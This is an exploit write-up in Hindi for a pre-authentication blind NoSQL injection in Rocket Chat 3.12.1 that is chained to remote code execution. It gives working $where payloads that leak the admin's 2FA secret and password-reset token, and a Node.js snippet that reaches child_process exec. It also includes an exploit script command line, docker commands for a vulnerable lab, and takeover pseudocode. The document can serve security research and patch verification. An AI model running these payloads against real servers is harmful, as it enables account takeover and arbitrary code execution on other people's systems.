
Pre-Auth Blind NoSQL Injection जो Rocket Chat 3.12.1 में Remote Code Execution की ओर ले जाता है
Rocket Chat 3.12.1 में प्री-ऑथ ब्लाइंड NoSQL इंजेक्शन जो रिमोट कोड निष्पादन (Remote Code Execution) की ओर ले जाता है
तो व्यवस्थापक उपयोगकर्ता सबसे अधिक संभावना 2fa द्वारा सुरक्षित होता है। इसलिए भले ही हम (1) के माध्यम से व्यवस्थापक का पासवर्ड बदल दें, लॉगिन पर 2fa कोड मांगा जाएगा।
users.list एपीआई एंडपॉइंट query पैरामीटर लेता है जो NoSQL इंजेक्शन के लिए कमजोर है। हम एक त्रुटि उत्पन्न करके भी डेटा प्राप्त कर सकते हैं।
हम व्यवस्थापक का 2fa सीक्रेट प्राप्त करने के लिए निम्नलिखित query चलाते हैं : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
फिर हम केवल (1) करके व्यवस्थापक का पासवर्ड रीसेट करते हैं और 2fa सीक्रेट का उपयोग करके कोड जनरेट करते हैं जिससे हम लॉगिन कर सकते हैं।
अद्यतन : आप रीसेट टोकन भी उसी तरीके से प्राप्त कर सकते हैं जिस तरह आपने 2fa सीक्रेट प्राप्त किया था : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
नोट: यदि आप व्यवस्थापक को 2FA से सुरक्षित नहीं रखना चाहते हैं तो आप निम्न कार्य कर सकते हैं।
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)